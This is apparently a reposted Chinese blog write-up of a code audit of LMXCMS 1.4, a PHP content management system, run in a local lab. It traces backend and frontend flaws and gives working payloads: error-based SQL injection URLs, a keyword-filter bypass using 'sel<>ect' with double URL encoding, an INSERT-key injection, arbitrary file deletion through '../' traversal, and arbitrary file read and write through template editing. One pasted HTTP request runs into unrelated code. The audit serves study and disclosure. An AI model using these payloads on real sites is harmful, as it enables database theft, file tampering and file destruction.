返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >梦想cms1.4代码审计
  • 721
分享到

梦想cms1.4代码审计

数据库安全web安全php 2023-09-01 14:09:22 721人浏览 独家记忆
摘要

目录 一、环境搭建 二、代码审计 1、后台漏洞  (1)BookAction.class.php (2)BackdbAction.class.php任意文件删除 (3)file.class.php任意文件读(写)漏洞 2、前台漏洞 (1)T

目录

一、环境搭建

二、代码审计

1、后台漏洞 

(1)BookAction.class.php

(2)BackdbAction.class.php任意文件删除

(3)file.class.php任意文件读(写)漏洞

2、前台漏洞

(1)TagsAction.class.php

(2)BookAction.class.php


一、环境搭建

这里选择的是PHPstudy搭建的

源码下载:http://www.lmxcms.com/down/xitong/

下载的是1.4版本,虽然是很早的版本了,但是主要是学习代码审计。

安装一下。

注意这里的php版本不能太高,我用7.3.4版本会报错,改成5.x就可以了

数据库需要提前创建

create DATABASE lmxcms;

数据库用户名密码是你自己的,没改的话基本上都是这个

 安装完成。

二、代码审计

 phpstORM开源码,

是一个mc架构

1、后台漏洞 

(1)BookAction.class.php

打开c\admin\BookAction.class.php,网址对应的就是/admin.php?m=book&a=index

先看这一部分

public function reply(){        $id = $_GET['id'] ? $_GET['id'] : $_POST['id'];        //获取回复数据        $reply = $this->bookModel->getReply(array($id));        if($reply){            $reply = string::html_char($reply[0]['content']);            $this->smarty->assign('content',$reply);            $this->smarty->assign('type','update');        }else{            $this->smarty->assign('type','add');        }        if(isset($_POST['reply'])){            if(!$_POST['content']){                rewrite::js_back('回复内容不能为空');            }            $this->bookModel->reply(array('id'=>$id,'type'=>$_POST['type'],'username'=>$this->username));            addlog('留言回复【id:'.$_POST['id'].'】');            rewrite::succ('修改成功','?m=Book');        }        $this->smarty->assign('id',$id);        $this->smarty->display('Book/reply.html');    }

 可以看到传入了一个参数,然后调用了getReply函数,跟进一下

public function getReply(array $id){        $id = implode(',',$id);        $param['where'] = 'uid in('.$id.')';        return parent::selectModel($param);    }

其中implode() 函数返回一个由数组元素组合成的字符串。跟进selectModel函数

protected function selectModel($param=array()){       if($param['field']){           $this->field=$param['field'];       }       return parent::selectDB($this->tab['0'],$this->field,$param);    }

再跟进selectDB函数

protected function selectDB($tab,Array $field,$param=array()){        $arr = array();        $field = implode(',',$field);        $force = '';        //强制进入某个索引        if($param['force']) $force = ' force index('.$param['force'].')';        if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';        $sqlStr = $this->where($param);        $sql="SELECT $field FROM ".DB_PRE."$tab$force $sqlStr";        $result=$this->query($sql);        while(!!$a=mysql_fetch_assoc($result)){            $arr[]=$a;        }        $this->result($result);        return $arr;    }

这里我们可以看到他将我们输入的直接拼接到select语句里面了,相当于底层没有进行一个过滤,那么你的所有防御只能靠上层去加,如果有疏漏就会产生漏洞。

这里我们进行一个调试,在sql语句下面加一个echo。

然后我们传一个参数看看

Http://192.168.10.128/lmxcms1.4/admin.php?m=book&a=reply&id=1

 注意这里要把a的参数值改为reply,即我们最开始的那个函数名

可以看到有回显,我们写一个简单的报错注入

http://192.168.10.128/lmxcms1.4/admin.php?m=book&a=reply&id=1) or updatexml(1,concat(0x7e,version()),1)%23

版本显示出来了。

(2)BackdbAction.class.php任意文件删除

private function delOne($filename){        $dir = ROOT_PATH.'file/back/'.$filename;        file::unLink($dir);    }

非常简单的一个任意文件删除漏洞,虽然这里的unlink函数自定义的,但是依旧是用来php的unlink函数

public static function unLink($path){        if($path == ROOT_PATH) return;        if(is_file($path)){            if(!@unlink($path)) rewrite::js_back('删除文件失败,请检查'.$path.'文件权限');            return true;        }    }

往上跟,看哪里用了这个delOne函数

public function delbackdb(){        $filename = trim($_GET['filename']);        if(!$filename){            rewrite::js_back('备份文件不存在');        }        $this->delOne($filename);        addlog('删除数据库备份文件');        rewrite::succ('删除成功');    }

在根目录下新建一个1.txt文件

http://localhost/lmxcms1.4/admin.php?m=backdb&a=delbackdb&filename=../../1.txt

访问后文件删除

(3)file.class.php任意文件读(写)漏洞

源码位于class\file.class.php

public static function getcon($path){        if(is_file($path)){            if(!$content = file_get_contents($path)){                rewrite::js_back('请检查【'.$path.'】是否有读取权限');            }else{                return $content;            }        }else{            rewrite::js_back('请检查【'.$path.'】文件是否存在');        }    }

这里自定义了一个getcon函数,里面有file_get_contents函数,并且没有进行过滤,全局搜索一下哪里使用了getcon函数,发现在TemplateAction.class.php里面有使用

public function editfile(){        $dir = $_GET['dir'];        //保存修改        if(isset($_POST['settemcontent'])){            if($this->config['template_edit']){                rewrite::js_back('系统设置禁止修改模板文件');            }            file::put($this->config['template'].$dir.'/'.$_POST['filename'],string::stripslashes($_POST['temcontent']));            addlog('修改模板文件'.$this->config['template'].$dir);            rewrite::succ('修改成功','?m=Template&a=opendir&dir='.$dir);            exit();        }        $pathinfo = pathinfo($dir);        //获取文件内容        $content = string::html_char(file::getcon($this->config['template'].$dir));        $this->smarty->assign('filename',$pathinfo['basename']);        $this->smarty->assign('temcontent',$content);        $this->smarty->assign('dir',dirname($_GET['dir']));        $this->smarty->display('Template/temedit.html');    }

而且还有一个put函数,跟进后发现是一个写入函数且没有做过滤,所以应该也存在任意文件写入漏洞

public static function put($path,$data){        if(file_put_contents($path,$data) === false)            rewrite::js_back('请检查【'.$path.'】是否有读写权限');    }
http://localhost/lmxcms1.4/admin.php?m=template&a=editfile&dir=../index.php

然后是任意文件写入

POST /lmxcms1.4/admin.php?m=template&a=editfile&dir=../ HTTP/1.1Host: 192.168.10.128Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*function p($type=1,$pe=false,$sql=false,$mysql=false){    if($type == 1){        $data = $_POST;    }else if($type == 2){        $data = $_GET;    }else{        $data = $type;    }    if($sql) filter_sql($data);    if($mysql) mysql_retain($data);    foreach($data as $k => $v){        if(is_array($v)){            $newdata[$k] = p($v,$pe,$sql,$Mysql);        }else{            if($pe){                $newdata[$k] = string::addslashes($v);            }else{                $newdata[$k] = trim($v);            }        }    }    return $newdata;}

这里提示我们过滤了sql注入,跟进filter_sql函数

//过滤非法提交信息,防止sql注入function filter_sql(array $data){    foreach($data as $v){        if(is_array($v)){            filter_sql($v);        }else{            //转换小写            $v = strtolower($v);            if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){                rewrite::js_back('【'.$v.'】数据非法');            }        }    }}

可以看到一个黑名单,不允许使用这些方法,这导致大部分查询都用不了了,那么我们就要从外部绕过p函数,如果从里面绕过这些比较麻烦。

再看p函数下面的delHtml,这个是过滤掉html标签的函数,那么我们就可以传入一个sel<>ect,这样就可以绕过p函数,且在delHtml函数中将<>去掉变成select。

这里我们试一下可不可以

首先跟进getNameData函数,一直跟到底,

protected function oneDB($tab,Array $field,Array $param){        $field = implode(',',$field);        $force = '';        //强制进入某个索引        if($param['force']) $force = ' force index('.$param['force'].')';        if($param['ignore']) $force = ' ignore index('.$param['ignore'].')';        $We = $this->where($param);        $sql="SELECT ".$field." FROM ".DB_PRE."$tab$force $We limit 1";        echo $sql;        $result=$this->query($sql);        $data = mysql_fetch_assoc($result);        return $data ? $data : array();    }

在这里加个echo $sql;

然后我们用burp suite抓一下包

/lmxcms1.4/index.php?m=Tags&name=a

我们尝试单引号能不能闭合

 

可以看到被转义了,这是因为p函数的原因,我们再尝试select

看到提示数据非法,那我们试一下sel<>ect

看到成功绕过

之后再看下面有个urldecode,他将我们的语句进行了一次url解码,所以我们可以先将我们的语句进行两次url编码就可以绕过了,因为它本身要进行一次url解码

 

成功注入,这个就有点像ctf的考点了 

(2)BookAction.class.php

 进入c\index\BookAction.class.php

public function index(){        if(isset($_POST['setbook'])){//提交留言            $data = $this->checkData();            if($this->bookModel->add($data)){                $this->setBookTime(); //存储提交时间                rewrite::succ($this->l['book_ok']);            }else{                rewrite::error($this->l['book_error']);            }        }

看到一个post传参,然后跟进checkData函数

private function checkData(){        $arr['name'] = '';        $arr['content'] = '';        $arr['mail'] = '';        $arr['tel'] = '';        $arr['ip'] = getip();        //验证短时间内过多留言        if($this->bookModel->is_ip($arr['ip'],$this->config['book_out_time']) >= $this->config['book_out_time_num']){            rewrite::error($this->l['book_outtime']);        }        $this->bookTime(); //验证提交间隔时间        $data = p(1,1,1); //验证前台数据        $data = array_merge($arr,$data);        if(!$data['name']) rewrite::js_back($this->l['book_name_must']);        if(!$data['content']) rewrite::js_back($this->l['book_content_must']);        //过滤html代码        foreach($data as $k => $v){            $data[$k] = string::delHtml($v);         }        unset($data['setbook']);        return $data;    }

一堆参数,然后就是p函数

再看下面的add方法

public function add($data){        $data['time'] = time();        return parent::addModel($data);    }

addModel函数就是一个sql查询语句,直接跟到底

protected function addDB($tab,$data){        foreach($data as $key=>$v){           $field[]=$key;           $value[]="'$v'";        }        $field = implode(',',$field);        $value = implode(",",$value);        $sql="INSERT INTO ".DB_PRE."$tab($field) VALUES($value)";        echo $sql;        $this->query($sql);        return mysql_insert_id();    }

依旧在这里把sql语句打印出来,用burp suite传一下

POST /lmxcms1.4/index.php?m=book HTTP/1.1Host: 192.168.10.128Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (windows NT 10.0; Win64; x64) AppleWEBKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=fqieraqhgsfnul7hnv8a8t89t0Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 39setbook=a&name=b&content=c&mail=d&tel=e

看到这是一个insert语句,但是在checkData函数里面可以知道我们传入的先经过p函数检验,再经过delHtml函数,虽然可以通关尖括号绕过p函数,但是没有办法进行单引号闭合,所以值这里没有办法注入。

但是aDDDB函数中插入sql语句的有两个地方,一个是field,一个是value,往上看知道data键值对的值被单引号包裹了,而key没有,所以注入点在key

protected function addDB($tab,$data){        foreach($data as $key=>$v){           $field[]=$key;           $value[]="'$v'";        }        $field = implode(',',$field);        $value = implode(",",$value);        $sql="INSERT INTO ".DB_PRE."$tab($field) VALUES($value)";        echo $sql;        $this->query($sql);        return mysql_insert_id();    }

 跟到p函数里面也可以看到

function p($type=1,$pe=false,$sql=false,$mysql=false){    if($type == 1){        $data = $_POST;    }else if($type == 2){        $data = $_GET;    }else{        $data = $type;    }    if($sql) filter_sql($data);    if($mysql) mysql_retain($data);    foreach($data as $k => $v){        if(is_array($v)){            $newdata[$k] = p($v,$pe,$sql,$mysql);        }else{            if($pe){                $newdata[$k] = string::addslashes($v);            }else{                $newdata[$k] = trim($v);            }        }    }    return $newdata;}

它只对值进行了过滤并没有对key进行过滤

加入一个键值对进行注入

setbook=a&name=b&content=c&mail=d&tel=e&time)values(1,2,3,4,5,6)#=f

看到没有报错,是注入成功的,但是怎么有回显呢?(其实这里也可以用报错注入)

 将db.class.php里面的echo $sql;全部注释掉,访问

http://localhost/lmxcms1.4/index.php?m=book

如果不注释会导致页面不正常

发现有内容,但是我们注入的并没有出现,直接去MySQL里查 

发现我们之前的内容在里面,知道确实注入成功了,然后还看到一个ischeck,之前在页面中回显出来的ischeck值都为1,所以我们也可以加一个ischeck

setbook=a&name=b&content=c&mail=d&tel=e&time,ischeck)values(1,database(),3,4,5,6,1)#=f

 然后刷新页面

来源地址:https://blog.csdn.net/m0_60716947/article/details/128576895

--结束END--

本文标题: 梦想cms1.4代码审计

本文链接: https://lsjlt.com/news/388806.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
  • 梦想cms1.4代码审计
    目录 一、环境搭建 二、代码审计 1、后台漏洞  (1)BookAction.class.php (2)BackdbAction.class.php任意文件删除 (3)file.class.php任意文件读(写)漏洞 2、前台漏洞 (1)T...
    99+
    2023-09-01
    数据库 安全 web安全 php
  • 代码审计-8 ThinkPHP框架代码审计 2
    文章目录 熟悉网站结构确定网站的路由1.通过分析url直接得出路由2.查看app/route.php 了解参数过滤情况SQL注入举例任意文件下载与删除任意文件下载代码分析任意...
    99+
    2023-09-10
    php apache 服务器
  • php代码审计
    🌕写在前面 🍊博客主页:Scorpio_m7,github🎉欢迎关注🔎点赞👍收藏⭐️留言📝...
    99+
    2023-09-01
    php 开发语言
  • ctfshow代码审计篇
    文章目录 web301-SQL注入web302- sql写shellweb303- insertweb304- 报错注入web305- 反序列化蚁剑连接数据库web306- 反序列化web30...
    99+
    2023-09-07
    php 数据库 开发语言
  • PHP代码审计(全)
    前言 官方文档:php.net php官方文档是非常详情,好用的,在遇到不清楚作用的函数时可以进行查询 白盒测试做代码审计最主要的知识是要去了解一个漏洞应该有哪些防御方式,因为大部分的漏洞都是因为修...
    99+
    2023-08-31
    php 开发语言 安全 代码复审 web安全
  • “快看”cms代码审计
    零基础学网络安全配套资料点击领取 环境安装 github源码地址:https://github.com/erichuang2015/kkcms 使用phpstudy 5.6.27+mysql5.5.5...
    99+
    2023-09-20
    php web安全 网络安全 渗透测试 安全
  • VauditDemo靶场代码审计
    靶场搭建 将下载好的VAuditDemo_Debug目录复制到phpstudy的www目录下,然后将其文件名字修改成VAuditDemo,当然你也可以修改成其他的 运行phpstudy并且访问in...
    99+
    2023-09-06
    php 网络安全 web安全 网络攻击模型
  • Seay代码审计工具
    一、简介 Seay是基于C#语言开发的一款针对PHP代码安全性审计的系统,主要运行于Windows系统上。 这款软件能够发现SQL注入、代码执行、命令执行、文件包含、文件上传、绕过转义防护、拒绝服务、XSS跨站、信息泄露、任意URL跳转...
    99+
    2023-09-01
    php 代码审计 Powered by 金山文档
  • 熊海cms1.0代码审计
    目录 一、环境搭建 二、代码审计 (1)后台存在登录绕过漏洞 (2)登录后台user处存在SQL注入  (3)前(后)台文件包含漏洞 (4)后台SQL注入 1、admin/files/editcolumn 2、admin/files/edi...
    99+
    2023-09-05
    php web安全 数据库 mysql
  • PHP中的代码审计
    随着网络技术的不断发展,各种应用程序逐渐成为生活中不可缺少的一部分。而PHP作为一种广泛应用于Web开发的编程语言,在众多应用程序中也扮演着重要的角色。然而,对于PHP代码的安全性,经常被忽视和忽略。对于黑客和攻击者来说,PHP应用程序成为...
    99+
    2023-05-24
    PHP 代码审计 安全漏洞
  • python 安全编码&代码审计
    现在一般的web开发框架安全已经做的挺好的了,比如大家常用的django,但是一些不规范的开发方式还是会导致一些常用的安全问题,下面就针对这些常用问题做一些总结。代码审计准备部分见《php代码审计》,这篇文档主要讲述各种常用错误场景,基本上...
    99+
    2023-01-31
    代码 python
  • 我在 bilibili 学代码审计
         前几天在 B 站上看到一节录播课,感觉学习到了很多东西,反复观看仍不过瘾,所以决定写下这篇文章以做笔记。 漏洞简介   漏洞起源于前段时间比较火的小皮 1-click 漏洞,用户名登录处缺少过滤,导致可以直接构造恶意 payl...
    99+
    2023-09-07
    linux php 运维 服务器 开发语言
  • 代码审计-2 SQL注入
    代码审计之SQL注入审计流程 ThinkPHP框架ThinkPHP的路由 PbootCMSPbootCMS留言处存在SQL注入代码分析 ThinkPHP框架 ThinkPH...
    99+
    2023-08-31
    php 安全
  • PHP代码审计-sql注入
    文章目录 前言sql注入字符型注入魔术引号编码注入base64编码url编码宽字节注入 过滤方法代码审计实战 前言 最近想学代码审计了,但是我本身的代码水平不高,学的比较基础,适...
    99+
    2023-09-17
    1024程序员节
  • PHP函数的代码审计
    PHP函数是一种重要的编程语言特性,它可以帮助程序员大大提高编程效率和程序的可维护性。但是,在使用PHP函数的过程中,我们也需要对它们进行代码审计,以确保程序的安全性和可靠性。本文将从以下几个方面介绍PHP函数的代码审计:一、PHP函数的基...
    99+
    2023-05-18
    代码审计 PHP函数 函数审计
  • 常见代码审计工具,代码审计为什么不能只用工具?
    代码审计是一种发现程序漏洞,安全分析为目标的程序源码分析方式。今天主要分享的是几款常用的代码审计工具,以及代码审计工具有哪些优缺点? 代码审计工具 seay代码审计工具,是一款开源的利用C#开发的一款...
    99+
    2023-09-06
    php 开发语言
  • 【代码审计-PHP】审计方法、敏感函数、功能点
      前言: 介绍:  博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocu...
    99+
    2023-09-05
    php
  • PHP代码审计SQL注入篇
    什么是SQL注入SQL注入***(SQL Injection),简称注入***,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作...
    99+
    2024-04-02
  • 怎样学习PHP代码审计
    怎样学习PHP代码审计,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。以Emlog 6.0  beta版本为引,一篇关于PHP语言CMS的代码审计文章,...
    99+
    2023-06-17
  • 后端代码审计——PHP基础
    文章目录 PHP基础1. php格式2. php变量2.1 变量声明与初始化2.2 php变量特点2.3 变量命名方式2.4 变量释放2.5 可变变量2.6 变量类型2.6.1 bool2.6...
    99+
    2023-10-23
    php 开发语言 安全
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作